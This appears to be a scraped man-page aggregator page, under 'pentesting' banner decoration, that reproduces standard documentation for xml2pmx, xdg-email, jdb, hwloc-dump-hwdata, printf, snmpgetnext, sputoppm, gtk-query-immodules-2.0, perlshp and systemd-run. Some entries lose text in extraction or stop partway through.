In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1888 - Linux cli command xml2pmx

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xml2pmx and provides detailed information about the command xml2pmx, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xml2pmx.

NAME 🖥️ xml2pmx 🖥️

translates MusicXML files to input suitable for PMX processing

SYNOPSIS

xml2pmx [-v | –version | -h | –help]

xml2pmx input.xml output.pmx [ p | d | v | s | l ] ..

DESCRIPTION

The musixtex.lua script from version 0.23 supports xml2pmx as a pre-preprocessor for MusicXML files.

OPTIONS

The meanings of the letter options are as follows:

p XML parser output; not recommended unless the terminal window process has enough storage

d information on “directions” (dynamical marks etc)

v distribution of voices over instruments and measures

s statistics of MusicXML tags like <note>, <measure> etc

l for extracting lyrics in a separate file

BUGS

xml2pmx processes input in UTF-8 encoding only. MusicXML files in UTF-16 encoding should be converted using, for example, recode (in Unix-like systems) or by importing into an editor like notepad and saving in UTF-8 encoding.

SEE ALSO

pmx(1) obc(1) musixtex(1) recode(1)

AUTHORS

This man page was written by Bob Tennent <[email protected]>. xml2pmx was written by Dieter Gloetzel <[email protected]> and adapted for compilation by obc (the Oxford Oberon Compiler) by Mike Spivey <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1889 - Linux cli command xdg-email

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xdg-email and provides detailed information about the command xdg-email, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xdg-email.

NAME 🖥️ xdg-email 🖥️

email - command line tool for sending mail using the users preferred e-mail composer

SYNOPSIS

xdg-email [–utf8] [–cc address] [–bcc address] [–subject text] [–body text] [–attach file] [mailto-uri | address(es)]

xdg-email {–help | –manual | –version}

DESCRIPTION

xdg-email opens the users preferred e-mail composer in order to send a mail to address(es) or mailto-uri. RFC2368 defines mailto: URIs. xdg-email limits support to, cc, subject and body fields in mailto-uri, all other fields are silently ignored. address(es) must follow the syntax of RFC822. Multiple addresses may be provided as separate arguments.

All information provided on the command line is used to prefill corresponding fields in the users e-mail composer. The user will have the opportunity to change any of this information before actually sending the e-mail.

xdg-email is for use inside a desktop session only. It is not recommended to use xdg-email as root.

OPTIONS

–utf8

Indicates that all command line options that follow are in utf8. Without this option, command line options are expected to be encoded according to locale. If the locale already specifies utf8 this option has no effect. This option does not affect mailto URIs that are passed on the command line.

–cc address

Specify a recipient to be copied on the e-mail.

–bcc address

Specify a recipient to be blindly copied on the e-mail.

–subject text

Specify a subject for the e-mail.

–body text

Specify a body for the e-mail. Since the user will be able to make changes before actually sending the e-mail, this can be used to provide the user with a template for the e-mail. text may contain linebreaks.

–attach file

Specify an attachment for the e-mail. file must point to an existing file.

Some e-mail applications require the file to remain present after xdg-email returns.

–help

Show command synopsis.

–manual

Show this manual page.

–version

Show the xdg-utils version information.

ENVIRONMENT VARIABLES

xdg-email honours the following environment variables:

XDG_UTILS_DEBUG_LEVEL

Setting this environment variable to a non-zero numerical value makes xdg-email do more verbose reporting on stderr. Setting a higher value increases the verbosity.

EXIT CODES

An exit code of 0 indicates success while a non-zero exit code indicates failure. The following failure codes can be returned:

1

Error in command line syntax.

2

One of the files passed on the command line did not exist.

3

A required tool could not be found.

4

The action failed.

5

No permission to read one of the files passed on the command line.

SEE ALSO

xdg-open(1), xdg-mime(1), MIME applications associations specification[1], RFC 6068 - The mailto URI Scheme[2]

EXAMPLES

xdg-email Jeremy White [email protected]

xdg-email –attach /tmp/logo.png
–subject Logo contest
–body Attached you find the logo for the contest.
[email protected]

xdg-email –subject Your password is about to expire
[email protected] [email protected] [email protected]

AUTHORS

Kevin Krammer

Author.

Jeremy White

Author.

COPYRIGHT

Copyright © 2006

NOTES

MIME applications associations specification

http://www.freedesktop.org/wiki/Specifications/mime-apps-spec/

RFC 6068 - The ‘mailto’ URI Scheme

https://tools.ietf.org/html/rfc6068

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1890 - Linux cli command jdb

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jdb and provides detailed information about the command jdb, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jdb.

NAME 🖥️ jdb 🖥️

find and fix bugs in Java platform programs

SYNOPSIS

jdb [options] [classname] [arguments]

options
This represents the jdb command-line options. See Options for the jdb command.

classname
This represents the name of the main class to debug.

arguments
This represents the arguments that are passed to the main() method of the class.

DESCRIPTION

The Java Debugger (JDB) is a simple command-line debugger for Java classes. The jdb command and its options call the JDB. The jdb command demonstrates the Java Platform Debugger Architecture and provides inspection and debugging of a local or remote JVM.

START A JDB SESSION

There are many ways to start a JDB session. The most frequently used way is to have the JDB launch a new JVM with the main class of the application to be debugged. Do this by substituting the jdb command for the java command in the command line. For example, if your application’s main class is MyClass, then use the following command to debug it under the JDB:

jdb MyClass

When started this way, the jdb command calls a second JVM with the specified parameters, loads the specified class, and stops the JVM before executing that class’s first instruction.

Another way to use the jdb command is by attaching it to a JVM that’s already running. Syntax for starting a JVM to which the jdb command attaches when the JVM is running is as follows. This loads in-process debugging libraries and specifies the kind of connection to be made.

java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n MyClass

You can then attach the jdb command to the JVM with the following command:

jdb -attach 8000

8000 is the address of the running JVM.

The MyClass argument isn’t specified in the jdb command line in this case because the jdb command is connecting to an existing JVM instead of launching a new JVM.

There are many other ways to connect the debugger to a JVM, and all of them are supported by the jdb command. The Java Platform Debugger Architecture has additional documentation on these connection options.

BREAKPOINTS

Breakpoints can be set in the JDB at line numbers or at the first instruction of a method, for example:

  • The command stop at MyClass:22 sets a breakpoint at the first instruction for line 22 of the source file containing MyClass.

  • The command stop in java.lang.String.length sets a breakpoint at the beginning of the method java.lang.String.length.

  • The command stop in MyClass.<clinit> uses <clinit> to identify the static initialization code for MyClass.

When a method is overloaded, you must also specify its argument types so that the proper method can be selected for a breakpoint. For example, MyClass.myMethod(int,java.lang.String) or MyClass.myMethod().

The clear command removes breakpoints using the following syntax: clear MyClass:45. Using the clear or stop command with no argument displays a list of all breakpoints currently set. The cont command continues execution.

STEPPING

The step command advances execution to the next line whether it’s in the current stack frame or a called method. The next command advances execution to the next line in the current stack frame.

EXCEPTIONS

When an exception occurs for which there isn’t a catch statement anywhere in the throwing thread’s call stack, the JVM typically prints an exception trace and exits. When running under the JDB, however, control returns to the JDB at the offending throw. You can then use the jdb command to diagnose the cause of the exception.

Use the catch command to cause the debugged application to stop at other thrown exceptions, for example: catch java.io.FileNotFoundException or catch mypackage.BigTroubleException. Any exception that’s an instance of the specified class or subclass stops the application at the point where the exception is thrown.

The ignore command negates the effect of an earlier catch command. The ignore command doesn’t cause the debugged JVM to ignore specific exceptions, but only to ignore the debugger.

OPTIONS FOR THE JDB COMMAND

When you use the jdb command instead of the java command on the command line, the jdb command accepts many of the same options as the java command.

The following options are accepted by the jdb command:

-help
Displays a help message.

-sourcepath dir1:dir2:
Uses the specified path to search for source files in the specified path. If this option is not specified, then use the default path of dot (.).

-attach address
Attaches the debugger to a running JVM with the default connection mechanism.

-listen address
Waits for a running JVM to connect to the specified address with a standard connector.

-listenany
Waits for a running JVM to connect at any available address using a standard connector.

-launch
Starts the debugged application immediately upon startup of the jdb command. The -launch option removes the need for the run command. The debugged application is launched and then stopped just before the initial application class is loaded. At that point, you can set any necessary breakpoints and use the cont command to continue execution.

-listconnectors
Lists the connectors available in this JVM.

-connect connector-name:name1=value1….
Connects to the target JVM with the named connector and listed argument values.

-dbgtrace [flags]
Prints information for debugging the jdb command.

-tclient
Runs the application in the Java HotSpot VM client.

-tserver
Runs the application in the Java HotSpot VM server.

****-Joption
Passes option to the JVM, where option is one of the options described on the reference page for the Java application launcher. For example, -J-Xms48m sets the startup memory to 48 MB. See Overview of Java Options in java.

The following options are forwarded to the debuggee process:

-v or -verbose[:class|gc|jni]
Turns on the verbose mode.

****-Dname=value
Sets a system property.

-classpath dir
Lists directories separated by colons in which to look for classes.

-X option
A nonstandard target JVM option.

Other options are supported to provide alternate mechanisms for connecting the debugger to the JVM that it’s to debug.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1891 - Linux cli command hwloc-dump-hwdata

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hwloc-dump-hwdata and provides detailed information about the command hwloc-dump-hwdata, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hwloc-dump-hwdata.

NAME 🖥️ hwloc-dump-hwdata 🖥️

dump-hwdata - Dump topology and locality information from hardware tables

SYNOPSIS

hwloc-dump-hwdata [options]

OPTIONS

-o <dir>
save output files to directory <dir> instead of the default /run/hwloc/ that was specified at configure time.

You may want to set the HWLOC_DUMPED_HWDATA_DIR environment variable as well so that the hwloc library looks for dumped files in that same directory.

–version
Report version and exit.

-h –help
Display help message and exit.

DESCRIPTION

hwloc may benefit from some locality and topology information from SMBIOS or ACPI tables. They are accessible from raw hardware files under directories such /sys/firmware/dmi/ or /sys/firmware/acpi/ on Linux. These files are usually only accessible to root, and they only exist when there is dmi-sysfs support in the Linux kernel.

The hwloc-dump-hwdata tool dumps the useful contents of such files into human-readable and world-accessible files. The intent is to run the tool once during boot and have the main (non-privileged) hwloc library gather information from these human-readable files.

hwloc-dump-hwdata is currently only useful for Intel Xeon Phi processors (Knights Landing and Knights Mill).

The current list of dumped information is:

Intel Xeon Phi processor memory, cache and clustering configuration
gathered from specific SMBIOS entries such as /sys/firmware/dmi/entries/14-* and /sys/firmware/dmi/entries/160-*, and saved in file knl_memoryside_cache.

SEE ALSO

hwloc(7), lstopo(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1892 - Linux cli command printf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command printf and provides detailed information about the command printf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the printf.

NAME 🖥️ printf 🖥️

format and print data

SYNOPSIS

printf FORMAT [ARGUMENT]…
printf OPTION

DESCRIPTION

Print ARGUMENT(s) according to FORMAT, or execute according to OPTION:

–help
display this help and exit

–version
output version information and exit

FORMAT controls the output as in C printf. Interpreted sequences are:

\
double quote

\
backslash


alert (BEL)


backspace

1893 - Linux cli command snmpgetnext

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command snmpgetnext and provides detailed information about the command snmpgetnext, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the snmpgetnext.

NAME 🖥️ snmpgetnext 🖥️

communicates with a network entity using SNMP GETNEXT requests

SYNOPSIS

snmpgetnext [COMMON OPTIONS] [-Cf] AGENT OID [OID]…

DESCRIPTION

snmpgetnext is an SNMP application that uses the SNMP GETNEXT request to query for information on a network entity. One or more object identifiers (OIDs) may be given as arguments on the command line. Each variable name is given in the format specified in variables(5). For each one, the variable that is lexicographically “next” in the remote entity’s MIB will be returned.

For example:

snmpgetnext -c public zeus interfaces.ifTable.ifEntry.ifType.1

will retrieve the variable interfaces.ifTable.ifEntry.ifType.2:

interfaces.ifTable.ifEntry.ifType.2 = softwareLoopback(24)

If the network entity has an error processing the request packet, an error message will be shown, helping to pinpoint in what way the request was malformed.

OPTIONS

-Cf
If -Cf is not specified, some applications (snmpdelta, snmpget, snmpgetnext and snmpstatus) will try to fix errors returned by the agent that you were talking to and resend the request. The only time this is really useful is if you specified a OID that didn’t exist in your request and you’re using SNMPv1 which requires “all or nothing” kinds of requests.

In addition to this option, snmpgetnext takes the common options described in the snmpcmd(1) manual page. Note that snmpgetnext REQUIRES an argument specifying the agent to query and at least one OID argument, as described there.

SEE ALSO

snmpcmd(1), snmpget(1), variables(5).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1894 - Linux cli command sputoppm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sputoppm and provides detailed information about the command sputoppm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sputoppm.

.

NAME 🖥️ sputoppm 🖥️

convert an Atari uncompressed Spectrum file to a PPM image

SYNOPSIS

sputoppm

[spufile]

DESCRIPTION

This program is part of Netpbm(1) .

sputoppm reads an Atari uncompressed Spectrum file as input and produces a PPM image as output.

OPTIONS

There are no command line options defined specifically for sputoppm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

ppmtospu(1) , spctoppm(1) , ppm(1)

AUTHOR

Copyright (C) 1991 by Steve Belczyk ([email protected]) and Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/sputoppm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1895 - Linux cli command gtk-query-immodules-2.0

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gtk-query-immodules-2.0 and provides detailed information about the command gtk-query-immodules-2.0, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gtk-query-immodules-2.0.

NAME 🖥️ gtk-query-immodules-2.0 🖥️

query-immodules-2.0 - Input method module registration utility

SYNOPSIS

gtk-query-immodules-2.0 [–update-cache] [module…]

DESCRIPTION

gtk-query-immodules-2.0 collects information about loadable input method modules for GTK+ and writes it to the default cache file location, or to stdout.

If called without arguments, it looks for modules in the GTK+ input method module path.

If called with arguments, it looks for the specified modules. The arguments may be absolute or relative paths.

Normally, the output of gtk-query-immodules-2.0 is written to libdir/gtk-2.0/2.10.0/immodules.cache, where GTK+ looks for it by default. If it is written to some other location, the environment variable GTK_IM_MODULE_FILE can be set to point GTK+ at the file.

OPTIONS

–update-cache

Write the output to the default cache location instead of stdout

ENVIRONMENT

The environment variable GTK_PATH can be used to prepend directories to the input method module path.

BUGS

None known yet.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1896 - Linux cli command perlshp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command perlshp and provides detailed information about the command perlshp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the perlshp.

NAME 🖥️ perlshp 🖥️

one-line perl evaluator with line editing function and variable name completion function

SYNOPSIS

perlsh

DESCRIPTION

This program reads input a line, and evaluates it by perl interpreter, and prints the result. If the result is a list value then each value of the list is printed line by line. This program can be used as a very strong calculator which has whole perl functions.

This is a sample program Term::ReadLine::Gnu module. When you input a line, the line editing function of GNU Readline Library is available. Perl symbol name completion function is also available.

Before invoking, this program reads ~/.perlshrc and evaluates the content of the file.

When this program is terminated, the content of the history buffer is saved in a file ~/.perlsh_history, and it is read at next invoking.

VARIABLES

You can customize the behavior of perlsh by setting following variables in ~/.perlshrc;

$PerlSh::PS1
The primary prompt string. The following backslash-escaped special characters can be used. \h: host name \u: user name \w: package name : history number The default value is `\w[\!]$ '.

$PerlSh::PS2
The secondary prompt string. The default value is `> '.

$PerlSh::HISTFILE
The name of the file to which the command history is saved. The default value is ~/.perlsh_history.

$PerlSh::HISTSIZE
If not undef, this is the maximum number of commands to remember in the history. The default value is 256.

$PerlSh::STRICT
If true, restrict unsafe constructs. See use strict in perl man page. The default value is 0;

FILES

~/.perlshrc
This file is eval-ed at initialization. If a subroutine afterinit is defined in this file, it will be eval-ed after initialization. Here is a sample. # -*- mode: perl -*- # decimal to hexa sub h { map { sprintf(“0x%x”, $_ ) } @_;} sub tk { $t->tkRunning(1); use Tk; $mw = MainWindow->new(); } # for debugging Term::ReadLine::Gnu sub afterinit { *t = \PerlSh::term; *a = \PerlSh::attribs; }

~/.perlsh_history

~/.inputrc

A initialization file for the GNU Readline Library. Refer its manual for details.

SEE ALSO

Term::ReadLine::Gnu <http://search.cpan.org/dist/Term-ReadLine-Gnu/>

GNU Readline Library <https://tiswww.cwru.edu/php/chet/readline/rltop.html>

AUTHOR

Hiroo Hayashi <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1897 - Linux cli command systemd-run

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd-run and provides detailed information about the command systemd-run, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd-run.

NAME 🖥️ systemd-run 🖥️

run - Run programs in transient scope units, service units, or path-, socket-, or timer-triggered service units

SYNOPSIS

systemd-run [OPTIONS…] COMMAND [ARGS…]

systemd-run [OPTIONS…] [PATH OPTIONS…] {COMMAND} [ARGS…]

systemd-run [OPTIONS…] [SOCKET OPTIONS…] {COMMAND} [ARGS…]

systemd-run [OPTIONS…] [TIMER OPTIONS…] {COMMAND} [ARGS…]

DESCRIPTION

systemd-run may be used to create and start a transient .service or .scope unit and run the specified COMMAND in it. It may also be used to create and start a transient .path, .socket, or .timer unit, that activates a .service unit when elapsing.

If a command is run as transient service unit, it will be started and managed by the service manager like any other service, and thus shows up in the output of systemctl list-units like any other unit. It will run in a clean and detached execution environment, with the service manager as its parent process. In this mode, systemd-run will start the service asynchronously in the background and return after the command has begun execution (unless –no-block, –wait, –pipe, or –pty are specified, see below).

If a command is run as transient scope unit, it will be executed by systemd-run itself as parent process and will thus inherit the execution environment of the caller. However, the processes of the command are managed by the service manager similarly to normal services, and will show up in the output of systemctl list-units. Execution in this case is synchronous, and will return only when the command finishes. This mode is enabled via the –scope switch (see below).

If a command is run with path, socket, or timer options such as –on-calendar= (see below), a transient path, socket, or timer unit is created alongside the service unit for the specified command. Only the transient path, socket, or timer unit is started immediately, the transient service unit will be triggered by the path, socket, or timer unit. If the –unit= option is specified, the COMMAND may be omitted. In this case, systemd-run creates only a .path, .socket, or .timer unit that triggers the specified unit.

By default, services created with systemd-run default to the simple type, see the description of Type= in systemd.service(5) for details. Note that when this type is used, the service manager (and thus the systemd-run command) considers service start-up successful as soon as the fork() for the main service process succeeded, i.e. before the execve() is invoked, and thus even if the specified command cannot be started. Consider using the exec service type (i.e. –property=Type=exec) to ensure that systemd-run returns successfully only if the specified command line has been successfully started.

After systemd-run passes the command to the service manager, the manager performs variable expansion. This means that dollar characters ("$") which should not be expanded need to be escaped as “$$”. Expansion can also be disabled using –expand-environment=no.

OPTIONS

The following options are understood:

–no-ask-password

Do not query the user for authentication for privileged operations.

Added in version 226.

–scope

Create a transient .scope unit instead of the default transient .service unit (see above).

Added in version 206.

–unit=, -u

Use this unit name instead of an automatically generated one.

Added in version 206.

–property=, -p

Sets a property on the scope or service unit that is created. This option takes an assignment in the same format as systemctl(1)s set-property command.

Added in version 211.

–description=

Provide a description for the service, scope, path, socket, or timer unit. If not specified, the command itself will be used as a description. See Description= in systemd.unit(5).

Added in version 206.

–slice=

Make the new .service or .scope unit part of the specified slice, instead of system.slice (when running in –system mode) or the root slice (when running in –user mode).

Added in version 206.

–slice-inherit

Make the new .service or .scope unit part of the slice the systemd-run itself has been invoked in. This option may be combined with –slice=, in which case the slice specified via –slice= is placed within the slice the systemd-run command is invoked in.

Example: consider systemd-run being invoked in the slice foo.slice, and the –slice= argument is bar. The unit will then be placed under foo-bar.slice.

Added in version 246.

**–expand-environment=**BOOL

Expand environment variables in command arguments. If enabled, environment variables specified as “${VARIABLE}” will be expanded in the same way as in commands specified via ExecStart= in units. With –scope, this expansion is performed by systemd-run itself, and in other cases by the service manager that spawns the command. Note that this is similar to, but not the same as variable expansion in bash(1) and other shells.

The default is to enable this option in all cases, except for –scope where it is disabled by default, for backward compatibility reasons. Note that this will be changed in a future release, where it will be switched to enabled by default as well.

See systemd.service(5) for a description of variable expansion. Disabling variable expansion is useful if the specified command includes or may include a “$” sign.

Added in version 254.

-r, –remain-after-exit

After the service process has terminated, keep the service around until it is explicitly stopped. This is useful to collect runtime information about the service after it finished running. Also see RemainAfterExit= in systemd.service(5).

Added in version 207.

–send-sighup

When terminating the scope or service unit, send a SIGHUP immediately after SIGTERM. This is useful to indicate to shells and shell-like processes that the connection has been severed. Also see SendSIGHUP= in systemd.kill(5).

Added in version 207.

–service-type=

